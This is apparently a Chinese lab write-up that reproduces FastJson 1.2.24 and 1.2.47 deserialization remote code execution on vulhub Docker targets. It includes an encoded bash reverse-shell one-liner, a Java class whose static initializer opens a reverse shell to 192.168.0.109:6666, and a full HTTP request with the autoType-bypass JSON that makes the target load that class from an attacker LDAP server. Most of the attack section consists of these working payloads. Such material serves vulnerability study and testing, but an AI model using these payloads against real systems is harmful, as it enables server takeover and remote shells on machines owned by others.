FastJson反序列化漏洞综合复现
FastJson 1.2.24 RCE
漏洞原理
FastJson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java 对象序列化为JSON字符串,也可以从JSON字符串反序列化到Java 对象。具有执行效率高的特点,应用范围广泛。
FastJson在解析JSON数据的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
从而导致攻击者构造JSON数据,通过@type键值来指定反序列化类型,从而调用远程协议(rmi、ldap等)加载远程的恶意Java类文件,造成命令执行,服务器权限丢失!
漏洞环境
1.vulhub环境
/app/vulhub-20201028/fastjson/1.2.24-rce
2.docker启动
docker-compose up -d
3.查看docker配置
docker-compose config
漏洞复现
访问站点发现响应包中返回:JSON格式数据
构造数据包,发现我们所提交的JSON数据经过后端解析并输出:
Fastjson提供了反序列化功能,允许用户在输入JSON串时通过"@type"键对应的value指定任意反序列化类名。并且Fastjson在反射地生成我们指定的类的实例化对象时,还会自动调用该对象的setter方法及部分getter方法。
这里反序列化了一个com.sun.rowset.JdbcRowSetImpl的类,在反射的过程中,调用了lookup方法,而lookup的参数可以通过"dataSourceName"键对应的value指定,从而利用远程协议(rmi、ldap等)加载远程恶意的java类文件进行反弹shell。
Payload:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzLjE0NS84MDgwIDA+JjE=}|{base64,-d}|{bash,-i}
FastJson 1.2.47 RCE
漏洞原理
Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若攻击者构造JSON数据,通过@type键值来指定反序列化类型,从而调用远程协议(rmi、ldap等)加载远程的恶意Java类文件,造成命令执行,服务器权限丢失!
漏洞环境
1.vulhub环境
/app/vulhub-20201028/fastjson/1.2.47-rce
2.docker启动
docker-compose up -d
3.查看docker配置
docker-compose config
漏洞测试
访问站点发现响应包中返回:JSON格式数据 -> 尝试构造数据包发现我们所提交的JSON数据经过后端解析并输出
这里反序列化了一个com.sun.rowset.JdbcRowSetImpl的类,在反射的过程中,调用了lookup方法,而lookup的参数可以通过"dataSourceName"键对应的value指定,从而利用远程协议(rmi、ldap等)加载远程恶意的java类文件进行反弹shell。
编译远程恶意class文件
在使用marshalsec-0.0.3-SNAPSHOT-all加载远程class文件时:
注意对方环境,对方环境可能是java1.8的话就要用java1.8编译java文件:
(java.1.8版本)javac *.java
如果对方环境是java11的话就使用java11进行编译java文件:
(java.11版本)javac *.java
如果编译的java类文件与对方java环境不一致就会导致class文件执行不成功!!!
// javac GetShell_1_8.java
import java.lang.Runtime;
import java.lang.Process;
public class Getshell_1_8{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.0.109/6666 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
开启web服务将class文件放在web站点下
使用marshalsec开启LDAP服务监听
Ncat进行监听6666反弹shell端口
构造JSON数据包加载远程恶意class文件
POST / HTTP/1.1
Host: 192.168.13.147:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 271
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.0.109:9999/Getshell_1_8",
"autoCommit":true
}
}